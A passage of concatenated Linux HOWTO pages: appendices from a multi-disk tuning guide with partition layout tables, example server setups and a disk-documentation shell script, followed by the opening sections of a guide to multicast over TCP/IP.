If you decide to progress even further (and take higher risks) you could remove the drive, give it a firm tap on the side so that the disk moves a little with respect to the casing. This can help in unsticking the head from the surface, allowing the platter to move freely as the motor power is not sufficient to unstick a stuck head on its own.

Also if a drive has been turned off for a while after running for long periods of time, or if it has overheated, the lubricant can harden of drain out of the bearings. In this case warming the drive slowly and gently up to normal operating temperature will possibly recover the lubrication problems.

If after this the drive still does not respond the last possible and the highest risk suggestion is to replace the circuit board of the drive with a board from am identical model drive.

Often the contents of a drive is worth far more than the media itself, so do consider professional help. These companies have advanced equipment and know-how obtained from the manufacturers on how to recover a damaged drive, far beyond that of a hobbyist.


HOWTO: Multi Disk System Tuning: Appendix A: Partitioning Layout Table: Mounting and Linking

 Next Previous Contents

21. Appendix A: Partitioning Layout Table: Mounting and Linking

The following table is designed to make layout a simpler paper and pencil exercise. It is probably best to print it out (using NON PROPORTIONAL fonts) and adjust the numbers until you are happy with them.

Mount point is what directory you wish to mount a partition on or the actual device. This is also a good place to note how you plan to use symbolic links.

The size given corresponds to a fairly big Debian 1.2.6 installation. Other examples are coming later.

Mainly you use this table to select what structure and drives you will use, the partition numbers and letters will come from the next two tables.

Directory       Mount point     speed   seek    transfer        size    SIZE

swap            __________      ooooo   ooooo   ooooo           32      ____

/               __________      o       o       o               20      ____

/tmp            __________      oooo    oooo    oooo                    ____

/var            __________      oo      oo      oo              25      ____
/var/tmp        __________      oooo    oooo    oooo                    ____
/var/spool      __________                                              ____
/var/spool/mail __________      o       o       o                       ____
/var/spool/news __________      ooo     ooo     oo                      ____
/var/spool/____ __________      ____    ____    ____                    ____

/home           __________      oo      oo      oo                      ____

/usr            __________                                      500     ____
/usr/bin        __________      o       oo      o               250     ____
/usr/lib        __________      oo      oo      ooo             200     ____
/usr/local      __________                                              ____
/usr/local/bin  __________      o       oo      o                       ____
/usr/local/lib  __________      oo      oo      ooo                     ____
/usr/local/____ __________                                              ____
/usr/src        __________      o       oo      o               50      ____

DOS             __________      o       o       o                       ____
Win             __________      oo      oo      oo                      ____
NT              __________      ooo     ooo     ooo                     ____

/mnt._________  __________      ____    ____    ____                    ____
/mnt._________  __________      ____    ____    ____                    ____
/mnt._________  __________      ____    ____    ____                    ____
/_____________  __________      ____    ____    ____                    ____
/_____________  __________      ____    ____    ____                    ____
/_____________  __________      ____    ____    ____                    ____

Total capacity:


HOWTO: Multi Disk System Tuning: Appendix B: Partitioning Layout Table: Numbering and Sizing

 Next Previous Contents

22. Appendix B: Partitioning Layout Table: Numbering and Sizing

This table follows the same logical structure as the table above where you decided what disk to use. Here you select the physical tracking, keeping in mind the effect of track positioning mentioned earlier in Physical Track Positioning.

The final partition number will come out of the table after this.

  Drive           sda     sdb     sdc     hda     hdb     hdc     ___

SCSI ID         |  __   |  __   |  __   |

Directory
swap            |       |       |       |       |       |       |

/               |       |       |       |       |       |       |

/tmp            |       |       |       |       |       |       |

/var            :       :       :       :       :       :       :
/var/tmp        |       |       |       |       |       |       |
/var/spool      :       :       :       :       :       :       :
/var/spool/mail |       |       |       |       |       |       |
/var/spool/news :       :       :       :       :       :       :
/var/spool/____ |       |       |       |       |       |       |

/home           |       |       |       |       |       |       |

/usr            |       |       |       |       |       |       |
/usr/bin        :       :       :       :       :       :       :
/usr/lib        |       |       |       |       |       |       |
/usr/local      :       :       :       :       :       :       :
/usr/local/bin  |       |       |       |       |       |       |
/usr/local/lib  :       :       :       :       :       :       :
/usr/local/____ |       |       |       |       |       |       |
/usr/src        :       :       :       :

DOS             |       |       |       |       |       |       |
Win             :       :       :       :       :       :       :
NT              |       |       |       |       |       |       |

/mnt.___/_____  |       |       |       |       |       |       |
/mnt.___/_____  :       :       :       :       :       :       :
/mnt.___/_____  |       |       |       |       |       |       |
/_____________  :       :       :       :       :       :       :
/_____________  |       |       |       |       |       |       |
/_____________  :       :       :       :       :       :       :

Total capacity:


HOWTO: Multi Disk System Tuning: Appendix C: Partitioning Layout Table: Partition Placement

 Next Previous Contents

23. Appendix C: Partitioning Layout Table: Partition Placement

This is just to sort the partition numbers in ascending order ready to input to fdisk or cfdisk. Here you take physical track positioning into account when finalizing your design. Unless you get specific information otherwise, you can assume track 0 is the outermost track.

These numbers and letters are then used to update the previous tables, all of which you will find very useful in later maintenance.

In case of disk crash you might find it handy to know what SCSI id belongs to which drive, consider keeping a paper copy of this.

        Drive :   sda     sdb     sdc     hda     hdb     hdc     ___

Total capacity: |  ___  |  ___  |  ___  |  ___  |  ___  |  ___  |  ___
SCSI ID         |  __   |  __   |  __   |

Partition

1               |       |       |       |       |       |       |
2               :       :       :       :       :       :       :
3               |       |       |       |       |       |       |
4               :       :       :       :       :       :       :
5               |       |       |       |       |       |       |
6               :       :       :       :       :       :       :
7               |       |       |       |       |       |       |
8               :       :       :       :       :       :       :
9               |       |       |       |       |       |       |
10              :       :       :       :       :       :       :
11              |       |       |       |       |       |       |
12              :       :       :       :       :       :       :
13              |       |       |       |       |       |       |
14              :       :       :       :       :       :       :
15              |       |       |       |       |       |       |
16              :       :       :       :       :       :       :


HOWTO: Multi Disk System Tuning: Appendix D: Example: Multipurpose Server

 Next Previous Contents

24. Appendix D: Example: Multipurpose Server

The following table is from the setup of a medium sized multipurpose server where I once worked. Aside from being a general Linux machine it will also be a network related server (DNS, mail, FTP, news, printers etc.) X server for various CAD programs, CD ROM burner and many other things. The files reside on 3 SCSI drives with a capacity of 600, 1000 and 1300 MB.

Some further speed could possibly be gained by splitting /usr/local from the rest of the /usr system but we deemed the further added complexity would not be worth it. With another couple of drives this could be more worthwhile. In this setup drive sda is old and slow and could just a well be replaced by an IDE drive. The other two drives are both rather fast. Basically we split most of the load between these two. To reduce dangers of imbalance in partition sizing we have decided to keep /usr/bin and /usr/local/bin in one drive and /usr/lib and /usr/local/lib on another separate drive which also affords us some drive parallelizing.

Even more could be gained by using RAID but we felt that as a server we needed more reliability than was then afforded by the md patch and a dedicated RAID controller was out of our reach.


HOWTO: Multi Disk System Tuning: Appendix E: Example: Mounting and Linking

 Next Previous Contents

25. Appendix E: Example: Mounting and Linking

Directory       Mount point     speed   seek    transfer        size    SIZE

swap            sdb2, sdc2      ooooo   ooooo   ooooo           32      2x64

/               sda2            o       o       o               20       100

/tmp            sdb3            oooo    oooo    oooo                     300

/var            __________      oo      oo      oo                      ____
/var/tmp        sdc3            oooo    oooo    oooo                     300
/var/spool      sdb1                                                     436
/var/spool/mail __________      o       o       o                       ____
/var/spool/news __________      ooo     ooo     oo                      ____
/var/spool/____ __________      ____    ____    ____                    ____

/home           sda3            oo      oo      oo                       400

/usr            sdb4                                            230      200
/usr/bin        __________      o       oo      o               30      ____
/usr/lib        -> libdisk      oo      oo      ooo             70      ____
/usr/local      __________                                              ____
/usr/local/bin  __________      o       oo      o                       ____
/usr/local/lib  -> libdisk      oo      oo      ooo                     ____
/usr/local/____ __________                                              ____
/usr/src        ->/home/usr.src o       oo      o               10      ____

DOS             sda1            o       o       o                        100
Win             __________      oo      oo      oo                      ____
NT              __________      ooo     ooo     ooo                     ____

/mnt.libdisk    sdc4            oo      oo      ooo                      226
/mnt.cd         sdc1            o       o       oo                       710

Total capacity: 2900 MB


HOWTO: Multi Disk System Tuning: Appendix F: Example: Numbering and Sizing

 Next Previous Contents

26. Appendix F: Example: Numbering and Sizing

Here we do the adjustment of sizes and positioning.

Directory         sda     sdb     sdc

swap            |       |   64  |   64  |

/               |  100  |       |       |

/tmp            |       |  300  |       |

/var            :       :       :       :
/var/tmp        |       |       |  300  |
/var/spool      :       :  436  :       :
/var/spool/mail |       |       |       |
/var/spool/news :       :       :       :
/var/spool/____ |       |       |       |

/home           |  400  |       |       |

/usr            |       |  200  |       |
/usr/bin        :       :       :       :
/usr/lib        |       |       |       |
/usr/local      :       :       :       :
/usr/local/bin  |       |       |       |
/usr/local/lib  :       :       :       :
/usr/local/____ |       |       |       |
/usr/src        :       :       :       :

DOS             |  100  |       |       |
Win             :       :       :       :
NT              |       |       |       |

/mnt.libdisk    |       |       |  226  |
/mnt.cd         :       :       :  710  :
/mnt.___/_____  |       |       |       |

Total capacity: |  600  | 1000  | 1300  |


HOWTO: Multi Disk System Tuning: Appendix G: Example: Partition Placement

 Next Previous Contents

27. Appendix G: Example: Partition Placement

This is just to sort the partition numbers in ascending order ready to input to fdisk or cfdisk. Remember to optimize for physical track positioning (not done here).

        Drive :   sda     sdb     sdc

Total capacity: |   600 |  1000 |  1300 |

Partition

1               |   100 |   436 |   710 |
2               :   100 :    64 :    64 :
3               |   400 |   300 |   300 |
4               :       :   200 :   226 :


HOWTO: Multi Disk System Tuning: Appendix H: Example II

 Next Previous Contents

28. Appendix H: Example II

The following is an example of a server setup in an academic setting, and is contributed by nakano (at) apm.seikei.ac.jp. I have only done minor editing to this section.

/var/spool/delegate is a directory for storing logs and cache files of an WWW proxy server program, "delegated". Since I don't notice it widely, there are 1000--1500 requests/day currently, and average disk usage is 15--30% with expiration of caches each day.

/mnt.archive is used for data files which are big and not frequently referenced such a s experimental data (especially graphic ones), various source archives, and Win95 backups (growing very fast...).

/mnt.root is backup root file system containing rescue utilities. A boot floppy is also prepared to boot with this partition.

=================================================
Directory               sda      sdb     hda

swap                    |    64 |    64 |       |
/                       |       |       |    20 |
/tmp                    |       |       |   180 |

/var                    :   300 :       :       :
/var/tmp                |       |   300 |       |
/var/spool/delegate     |   300 |       |       |

/home                   |       |       |   850 |
/usr                    |   360 |       |       |
/usr/lib                -> /mnt.lib/usr.lib
/usr/local/lib          -> /mnt.lib/usr.local.lib

/mnt.lib                |       |   350 |       |
/mnt.archive            :       :  1300 :       :
/mnt.root               |       |    20 |       |

Total capacity:            1024    2034    1050

=================================================
        Drive :           sda     sdb     hda
Total capacity:         |  1024 |  2034 |  1050 |

Partition
1                       |   300 |    20 |    20 |
2                       :    64 :  1300 :   180 :
3                       |   300 |    64 |   850 |
4                       :   360 :   ext :       :
5                       |       |   300 |       |
6                       :       :   350 :       :

Filesystem         1024-blocks  Used Available Capacity Mounted on
/dev/hda1              19485   10534     7945     57%   /
/dev/hda2             178598      13   169362      0%   /tmp
/dev/hda3             826640  440814   343138     56%   /home
/dev/sda1             306088   33580   256700     12%   /var
/dev/sda3             297925   47730   234807     17%   /var/spool/delegate
/dev/sda4             363272  170872   173640     50%   /usr
/dev/sdb5             297598       2   282228      0%   /var/tmp
/dev/sdb2            1339248  302564   967520     24%   /mnt.archive
/dev/sdb6             323716   78792   228208     26%   /mnt.lib

Apparently /tmp and /var/tmp is too big. These directories shall be packed together into one partition when disk space shortage comes.

/mnt.lib is also seemed to be, but I plan to install newer TeX and ghostscript archives, so /usr/local/lib may grow about 100 MB or so (since we must use Japanese fonts!).

Whole system is backed up by Seagate Tapestore 8000 (Travan TR-4, 4G/8G).


HOWTO: Multi Disk System Tuning: Appendix I: Example III: SPARC Solaris

 Next Previous Contents

29. Appendix I: Example III: SPARC Solaris

The following section is the basic design used at work for a number of Sun SPARC servers running Solaris 2.5.1 in an industrial development environment. It serves a number of database and cad applications in addition to the normal services such as mail.

Simplicity is emphasized here so /usr/lib has not been split off from /usr.

This is the basic layout, planned for about 100 users.

   Drive:        SCSI 0                      SCSI 1

   Partition     Size (MB)   Mount point    Size (MB)   Mount point

     0           160         swap           160         swap
     1           100         /tmp           100         /var/tmp
     2           400         /usr
     3           100         /
     4            50         /var
     5
     6           remainder   /local0        remainder   /local1

Due to specific requirements at this place it is at times necessary to have large partitions available on a short notice. Therefore drive 0 is given as many tasks as feasible, leaving a large /local1 partition.

This setup has been in use for some time now and found satisfactorily.

For a more general and balanced system it would be better to swap /tmp and /var/tmp and then move /var to drive 1.


HOWTO: Multi Disk System Tuning: Appendix J: Example IV: Server with 4 Drives

 Next Previous Contents

30. Appendix J: Example IV: Server with 4 Drives

This gives an example of using all techniques described earlier, short of RAID. It is admittedly rather complicated but offers in return high performance from modest hardware. Dimensioning are skipped but reasonable figures can be found in previous examples.

Partition       sda             sdb             sdc             sdd
                ----            ----            ----            ----
        1       root            overview        lib             news
        2       swap            swap            swap            swap
        3       home            /usr            /var/tmp        /tmp
        4                       spare root      mail            /var

Setup is optimised with respect to track positioning but also for minimising drive seeks.

If you want DOS or Windows too you will have to use sda1 for this and move the other partitions after that. It will be advantageous to use the swap partitions on sdb2, sdc2 and sdd2 for Windows swap, TEMPDIR and Windows temporary directory under these sessions. A number of other HOWTOs describe how you can make several operating systems coexist on your machine.

For completeness a 4 drive example using several types of RAID is also given which is even more complex than the example above.

Partition       sda             sdb             sdc             sdd
                ----            ----            ----            ----
        1       boot            overview        news            news
        2       overview        swap            swap            swap
        3       swap            lib             lib             lib
        4       lib             overview        /tmp            /tmp
        5       /var/tmp        /var/tmp        mail            /usr
        6       /home           /usr            /usr            mail
        7       /usr            /home           /var
        8       / (root)        spare root

Here all duplicates are parts of a RAID 0 set with two exceptions, swap which is interleaved and home and mail which are implemented as RAID 1 for safety.

Note that boot and root are separated: only the boot file with the kernel has to reside within the 1023 cylinder limit. The rest of the root files can be anywhere and here they are placed on the slowest outermost partition. For simplicity and safety the root partition is not on a RAID system.

With such a complicated comes an equally complicated fstab file. The large number of partitions makes it important to do the fsck passes in the right order, otherwise the process can take perhaps ten times as long time to complete as the optimal solution.

/dev/sda8       /               ?       ?               1 1 (a)
/dev/sdb8       /               ?       noauto          1 2 (b)
/dev/sda1       boot            ?       ?               1 2 (a)
/dev/sdc7       /var            ?       ?               1 2 (c)
/dev/md1        news            ?       ?               1 3 (c+d)
/dev/md2        /var/tmp        ?       ?               1 3 (a+b)
/dev/md3        mail            ?       ?               1 4 (c+d)
/dev/md4        /home           ?       ?               1 4 (a+b)
/dev/md5        /tmp            ?       ?               1 5 (c+d)
/dev/md6        /usr            ?       ?               1 6 (a+b+c+d)
/dev/md7        /lib            ?       ?               1 7 (a+b+c+d)

The letters in the brackets indicate what drives will be active for each fsck entry and pass. These letters are not present in a real fstab file. All in all there are 7 passes.


HOWTO: Multi Disk System Tuning: Appendix K: Example V: Dual Drive System

 Next Previous Contents

31. Appendix K: Example V: Dual Drive System

A dual drive system offers less opportunity for clever schemes but the following should provide a simple starting point.

Partition       sda             sdb
                ----            ----
        1       boot            lib
        2       swap            news
        3       /tmp            swap
        4       /usr            /var/tmp
        5       /var            /home
        6       / (root)

If you use a dual OS system you have to keep in mind that many other systems must boot from the first partition on the first drive. A simple DOS / Linux system could look like this:

Partition       sda             sdb
                ----            ----
        1       DOS             lib
        2       boot            news
        3       swap            swap
        4       /tmp            /var/tmp
        5       /usr            /home
        6       /var            DOSTEMP
        7       / (root)

Also remember that DOS and Windows prefer there to be just a single primary partition which has to be the first one where it boots from. As Linux can happily exist in logical partitions this is not a big problem.


HOWTO: Multi Disk System Tuning: Appendix L: Example VI: Single Drive System

 Next Previous Contents

32. Appendix L: Example VI: Single Drive System

Although this falls somewhat outside the scope of this HOWTO it cannot be denied that recently some rather large drives have become very affordable. Drives with 10 - 20 GB are becoming common and the question often is how best to partition such monsters. Interestingly enough very few seem to have any problems in filling up such drives and the future looks generally quite rosy for manufacturers planning on even bigger drives.

Opportunities for optimisations are of course even smaller than for 2 drive systems but some tricks can still be used to optimise track positions while minimising head movements.

Partition       hda             Size estimate (MB)
                ----            ------------------
         1      DOS             500
         2      boot            20
         3      Winswap         200
         4      data            The bulk of the drive
         5      lib             50 - 500
         6      news            300+
         7      swap            128     (Maximum size for 32-bit CPU)
         8      tmp             300+    (/tmp and /var/tmp)
         9      /usr            50 - 500
        10      /home           300+
        11      /var            50 - 300
        12      mail            300+
        13      / (root)        30
        14      dosdata         10      ( Windows bug workaround!)

Remember that the dosdata partition is a DOS filesystem that must be the very last partition on the drive, otherwise Windows gets confused.


HOWTO: Multi Disk System Tuning: Appendix M: Disk System Documenter

 Next Previous Contents

33. Appendix M: Disk System Documenter

This shell script was very kindly provided by Steffen Hulegaard. Run it as root (superuser) and it will generate a summary of your disk setup. Run it after you have implemented your design and compare it with what you designed to check for mistakes. Should your system develop defects this document will also be a useful starting point for recovery.

#!/bin/bash
#$Header$
#
# makediskdoc               Collects storage/disk info via df, mount,
#                           /etc/fstab and fdisk.  Creates a single
#                           reference file -- /root/sysop/doc/README.diskdoc
#                           Especially good for documenting storage
#                           config/partioning
#
# 11/11/1999  SC Hulegaard  Created just before RedHat 5.2 to
#                           RedHat 6.1 upgrade
# 12/31/1999  SC Hulegaard  Added sfdisk -glx usage just prior to
#                           collapse of my Quantum Grand Prix (4.3 Gb)
#
# SEE ALSO  Other /root/bin/make*doc commands to produce other /root/sysop/doc/README.*
#           files.  For example, /root/bin/makenetdoc.
#
FILE=/root/sysop/doc/README.diskdoc
echo Creating $FILE ...
echo ' ' > $FILE
echo $FILE >> $FILE
echo Produced By $0 >> $FILE
echo `date` >> $FILE
echo ' ' >> $FILE
echo $Header$ >> $FILE
echo ' ' >> $FILE
echo DESCRIPTION:  df -a >> $FILE
df -a >> $FILE 2>&1
echo ' ' >> $FILE
echo DESCRIPTION:  df -ia >> $FILE
df -ia >> $FILE 2>&1
echo ' ' >> $FILE
echo DESCRIPTION:  mount >> $FILE
mount >> $FILE 2>&1
echo ' ' >> $FILE
echo DESCRIPTION:  /etc/fstab >> $FILE
cat /etc/fstab >> $FILE
echo ' ' >> $FILE
echo DESCRIPTION:  sfdisk -s disk device size summary >> $FILE
sfdisk -s >> $FILE
echo ' ' >> $FILE
echo DESCRIPTION:  sfdisk -glx info for all disks listed in /etc/fstab >> $FILE
for x in `cat /etc/fstab | egrep /dev/[sh] | cut -c 0-8 | uniq`; do
  echo ' ' >> $FILE
  echo $x ============================= >> $FILE
  sfdisk -glx $x >> $FILE
done
echo ' ' >> $FILE
echo DESCRIPTION:  fdisk -l info for all disks listed in /etc/fstab >> $FILE
for x in `cat /etc/fstab | egrep /dev/[sh] | cut -c 0-8 | uniq`; do
  echo ' ' >> $FILE
  echo $x ============================= >> $FILE
  fdisk -l $x >> $FILE
done
echo ' ' >> $FILE
echo DESCRIPTION:  dmesg info on both sd and hd drives >> $FILE
dmesg | egrep [hs]d[a-z] >> $FILE
echo '' >> $FILE
echo Done >> $FILE
echo Done
exit


Multicast over TCP/IP HOWTO

Juan-Mariano de Goyeneche <jmseyas@dit.upm.es>

v1.0, 20 March 1998

This HOWTO tries to cover most aspects related to multicast over TCP/IP networks. So, a lot of information within it is not Linux-specific (just in case you don't use GNU/Linux... yet). Multicast is currently an active area of research and, at the time of writing, many of the "standards" are merely drafts. Keep it in mind while reading the lines that follow.

1. Introduction.

  • 1.1 What is Multicast.
  • 1.2 The problem with Unicast.

2. Multicast Explained.

  • 2.1 Multicast addresses.
  • 2.2 Levels of conformance.
  • 2.3 Sending Multicast Datagrams.
  • 2.4 Receiving Multicast Datagrams.

3. Kernel requirements and configuration.

4. The MBone.

5. Multicast applications.

6. Multicast programming.

  • 6.1 IP_MULTICAST_LOOP.
  • 6.2 IP_MULTICAST_TTL.
  • 6.3 IP_MULTICAST_IF.
  • 6.4 IP_ADD_MEMBERSHIP.
  • 6.5 IP_DROP_MEMBERSHIP.

7. The internals.

  • 7.1 IGMP.
  • 7.2 Kernel corner.

8. Routing Policies and Forwarding Techniques.

9. Multicast Transport Protocols.

10. References.

  • 10.1 RFCs.
  • 10.2 Internet Drafts.
  • 10.3 Web pages.
  • 10.4 Books.

11. Copyright and Disclaimer.

12. Acknowledgements.


Multicast over TCP/IP HOWTO: Introduction.

 Next Previous Contents

1. Introduction.

I'll try to give here the most wide range, up to date and accurate information related to multicasting over TCP/IP networks that I can. Any feedback is very welcome. If you find any mistakes in this document, have any comments about its contents or an update or addition, please send them to me at the address listed at the top of this howto.

1.1 What is Multicast.

Multicast is... a need. Well, at least in some scenarios. If you have information (a lot of information, usually) that should be transmitted to various (but usually not all) hosts over an internet, then Multicast is the answer. One common situation in which it is used is when distributing real time audio and video to the set of hosts which have joined a distributed conference.

Multicast is much like radio or TV in the sense that only those who have tuned their receivers (by selecting a particular frequency they are interested on) receive the information. That is: you hear the channel you are interested in, but not the others.

1.2 The problem with Unicast.

Unicast is anything that is not broadcast nor multicast. All right, the definition is not very bright... When you send a packet and there is only one sender process -yours- and one recipient process (the one you are sending the packet to), then this is unicast. TCP is, by its own nature, unicast oriented. UDP supports a lot more paradigms, but if you are sending UDP packets and there is only one precess supposed to receive them, this is unicast too.

For years unicast transmissions proved to be enough for the Internet. It was not until 1993 when the first implementation of multicast saw the light in the 4.4 BSD release. It seems nobody needed it until then. Which were those new problems that multicast addressed?

Needless to say that the Internet has changed a lot since the "early days". Particularly, the appearance of the Web strongly transformed the situation: people didn't just want connections to remote hosts, mail and FTP. First they wanted to see the pictures people placed in their home pages, but later they also wanted to see and hear that people.

With today's technology it is possible to afford the "cost" of making a unicast connection with everyone who wants to see your web page. However, if you are to send audio and video, which needs a huge amount of bandwidth compared with web applications, you have -you had, until multicast came into scene- two options: to establish a separate unicast connection with each of the recipients, or to use broadcast. The first solution is not affordable: if we said that a single connection sending audio/video consumes a huge bandwidth, imagine having to establish hundreds or, may be, thousands of those connections. Both the sending computer and your network would collapse.

Broadcast seems to be a solution, but it's not certainly the solution. If you want all the hosts in your LAN to attend the conference, you may use broadcast. Packets will be sent only once and every host will receive them as they are sent to the broadcast address. The problem is that perhaps only a few of the hosts and not all are interested in those packets. Furthermore: perhaps some hosts are really interested in your conference, but they are outside of your LAN, a few routers away. And you know that broadcast works fine inside a LAN, but problems arise when you want broadcast packets to be routed across different LANs.

The best solution seems to be one in which you send packets to a certain special address (a certain frequency in radio/TV transmissions). Then, all hosts which have decided to join the conference will be aware of packets with that destination address, read them when they traverse the network, and pass them to the IP layer to be demultiplexed. This is similar to broadcasting in that you send only one broadcast packet and all the hosts in the network recognize and read it; it differs, however, in that not all multicast packets are read and processed, but only those that were previously registered in the kernel as being "of interest".

Those special packets are routed at kernel level like any packet because they are IP packets. The only difference might reside in the routing algorithm which tells the kernel where to route or not to route them.


Multicast over TCP/IP HOWTO: Multicast Explained.

 Next Previous Contents

2. Multicast Explained.

2.1 Multicast addresses.

As you probably know, the range of IP addresses is divided into "classes" based on the high order bits of a 32 bits IP address:

   Bit -->  0                           31            Address Range:
           +-+----------------------------+
           |0|       Class A Address      |       0.0.0.0 - 127.255.255.255
           +-+----------------------------+
           +-+-+--------------------------+
           |1 0|     Class B Address      |     128.0.0.0 - 191.255.255.255
           +-+-+--------------------------+
           +-+-+-+------------------------+
           |1 1 0|   Class C Address      |     192.0.0.0 - 223.255.255.255
           +-+-+-+------------------------+
           +-+-+-+-+----------------------+
           |1 1 1 0|  MULTICAST Address   |     224.0.0.0 - 239.255.255.255
           +-+-+-+-+----------------------+
           +-+-+-+-+-+--------------------+
           |1 1 1 1 0|     Reserved       |     240.0.0.0 - 247.255.255.255
           +-+-+-+-+-+--------------------+

The one which concerns us is the "Class D Address". Every IP datagram whose destination address starts with "1110" is an IP Multicast datagram.

The remaining 28 bits identify the multicast "group" the datagram is sent to. Following with the previous analogy, you have to tune your radio to hear a program that is transmitted at some specific frequency, in the same way you have to "tune" your kernel to receive packets sent to an specific multicast group. When you do that, it's said that the host has joined that group in the interface you specified. More on this later.

There are some special multicast groups, say "well known multicast groups", you should not use in your particular applications due the special purpose they are destined to:

  • 224.0.0.1 is the all-hosts group. If you ping that group, all multicast capable hosts on the network should answer, as every multicast capable host must join that group at start-up on all it's multicast capable interfaces.
  • 224.0.0.2 is the all-routers group. All multicast routers must join that group on all it's multicast capable interfaces.
  • 224.0.0.4 is the all DVMRP routers, 224.0.0.5 the all OSPF routers, 224.0.013 the all PIM routers, etc.

All this special multicast groups are regularly published in the "Assigned Numbers" RFC.

In any case, range 224.0.0.0 through 224.0.0.255 is reserved for local purposes (as administrative and maintenance tasks) and datagrams destined to them are never forwarded by multicast routers. Similarly, the range 239.0.0.0 to 239.255.255.255 has been reserved for "administrative scoping" (see section 2.3.1 for information on administrative scoping).

2.2 Levels of conformance.

Hosts can be in three different levels of conformance with the Multicast specification, according to the requirements they meet.

Level 0 is the "no support for IP Multicasting" level. Lots of hosts and routers in the Internet are in this state, as multicast support is not mandatory in IPv4 (it is, however, in IPv6). Not too much explanation is needed here: hosts in this level can neither send nor receive multicast packets. They must ignore the ones sent by other multicast capable hosts.

Level 1 is the "support for sending but not receiving multicast IP datagrams" level. Thus, note that it is not necessary to join a multicast group to be able to send datagrams to it. Very few additions are needed in the IP module to make a "Level 0" host "Level 1-compliant", as shown in section 2.3.

Level 2 is the "full support for IP multicasting" level. Level 2 hosts must be able to both send and receive multicast traffic. They must know the way to join and leave multicast groups and to propagate this information to multicast routers. Thus, they must include an Internet Group Management Protocol (IGMP) implementation in their TCP/IP stack.

2.3 Sending Multicast Datagrams.

By now, it should be obvious that multicast traffic is handled at the transport layer with UDP, as TCP provides point-to-point connections, not feasibles for multicast traffic. (Heavy research is taking place to define and implement new multicast-oriented transport protocols. See section Multicast Transport Protocols for details).

In principle, an application just needs to open a UDP socket and fill with a class D multicast address the destination address where it wants to send data to. However, there are some operations that a sending process must be able to control.

TTL.

The TTL (Time To Live) field in the IP header has a double significance in multicast. As always, it controls the live time of the datagram to avoid it being looped forever due to routing errors. Routers decrement the TTL of every datagram as it traverses from one network to another and when its value reaches 0 the packet is dropped.

The TTL in IPv4 multicasting has also the meaning of "threshold". Its use becomes evident with an example: suppose you set a long, bandwidth consuming, video conference between all the hosts belonging to your department. You want that huge amount of traffic to remain in your LAN. Perhaps your department is big enough to have various LANs. In that case you want those hosts belonging to each of your LANs to attend the conference, but in any case you want to collapse the entire Internet with your multicast traffic. There is a need to limit how "long" multicast traffic will expand across routers. That's what the TTL is used for. Routers have a TTL threshold assigned to each of its interfaces, and only datagrams with a TTL greater than the interface's threshold are forwarded. Note that when a datagram traverses a router with a certain threshold assigned, the datagram's TTL is not decremented by the value of the threshold. Only a comparison is made. (As before, the TTL is decremented by 1 each time a datagram passes across a router).

A list of TTL thresholds and their associated scope follows:

TTL     Scope
----------------------------------------------------------------------
   0    Restricted to the same host. Won't be output by any interface.
   1    Restricted to the same subnet. Won't be forwarded by a router.
 <32         Restricted to the same site, organization or department.
 <64 Restricted to the same region.
<128 Restricted to the same continent.
<255 Unrestricted in scope. Global.

Nobody knows what "site" or "region" mean exactly. It is up to the administrators to decide what this limits apply to.

The TTL-trick is not always flexible enough for all needs, specially when dealing with overlapping regions or trying to establish geographic, topologic and bandwidth limits simultaneously. To solve this problems, administratively scoped IPv4 multicast regions were established in 1994. (see D. Meyer's "Administratively Scoped IP Multicast" Internet draft). It does scoping based on multicast addresses rather than on TTLs. The range 239.0.0.0 to 239.255.255.255 is reserved for this administrative scoping.

Loopback.

When the sending host is Level 2 conformant and is also a member of the group datagrams are being sent to, a copy is looped back by default. This does not mean that the interface card reads its own transmission, recognizes it as belonging to a group the interface belongs to, and reads it from the network. On the contrary, is the IP layer which, by default, recognizes the to-be-sent datagram and copies and queues it on the IP input queue before sending it.

This feature is desirable in some cases, but not in others. So the sending process can turn it on and off at wish.

Interface selection.

Hosts attached to more than one network should provide a way for applications to decide which network interface will be used to output the transmissions. If not specified, the kernel chooses a default one based on system administrator's configuration.

2.4 Receiving Multicast Datagrams.

Joining a Multicast Group.

Broadcast is (in comparison) easier to implement than multicast. It doesn't require processes to give the kernel some rules regarding what to do with broadcast packets. The kernel just knows what to do: read and deliver all of them to the proper applications.

With multicast, however, it is necessary to advise the kernel which multicast groups we are interested in. That is, we have to ask the kernel to "join" those multicast groups. Depending on the underlying hardware, multicast datagrams are filtered by the hardware or by the IP layer (and, in some cases, by both). Only those with a destination group previously registered via a join are accepted.

Essentially, when we join a group we are telling the kernel: "OK. I know that, by default, you ignore multicast datagrams, but remember that I am interested in this multicast group. So, do read and deliver (to any process interested in them, not only to me) any datagram that you see in this network interface with this multicast group in its destination field".

Some considerations: first, note that you don't just join a group. You join a group on a particular network interface. Of course, it is possible to join the same group on more than one interface. If you don't specify a concrete interface, then the kernel will choose it based on its routing tables when datagrams are to be sent. It is also possible that more than one process joins the same multicast group on the same interface. They will all receive the datagrams sent to that group via that interface.

As said before, any multicast-capable hosts join the all-hosts group at start-up , so "pinging" 224.0.0.1 returns all hosts in the network that have multicast enabled.

Finally, consider that for a process to receive multicast datagrams it has to ask the kernel to join the group and bind the port those datagrams were being sent to. The UDP layer uses both the destination address and port to demultiplex the packets and decide which socket(s) deliver them to.

Leaving a Multicast Group.

When a process is no longer interested in a multicast group, it informs the kernel that it wants to leave that group. It is important to understand that this doesn't mean that the kernel will no longer accept multicast datagrams destined to that multicast group. It will still do so if there are more precesses who issued a "multicast join" petition for that group and are still interested. In that case the host remains member of the group, until all the processes decide to leave the group.

Even more: if you leave the group, but remain bound to the port you were receiving the multicast traffic on, and there are more processes that joined the group, you will still receive the multicast transmissions.

The idea is that joining a multicast group only tells the IP and data link layer (which in some cases explicitly tells the hardware) to accept multicast datagrams destined to that group. It is not a per-process membership, but a per-host membership.

Mapping of IP Multicast Addresses to Ethernet/FDDI addresses.

Both Ethernet and FDDI frames have a 48 bit destination address field. In order to avoid a kind of multicast ARP to map multicast IP addresses to ethernet/FDDI ones, the IANA reserved a range of addresses for multicast: every ethernet/FDDI frame with its destination in the range 01-00-5e-00-00-00 to 01-00-5e-ff-ff-ff (hex) contains data for a multicast group. The prefix 01-00-5e identifies the frame as multicast, the next bit is always 0 and so only 23 bits are left to the multicast address. As IP multicast groups are 28 bits long, the mapping can not be one-to-one. Only the 23 least significant bits of the IP multicast group are placed in the frame. The remaining 5 high-order bits are ignored, resulting in 32 different multicast groups being mapped to the same ethernet/FDDI address. This means that the ethernet layer acts as an imperfect filter, and the IP layer will have to decide whether to accept the datagrams the data-link layer passed to it. The IP layer acts as a definitive perfect filter.

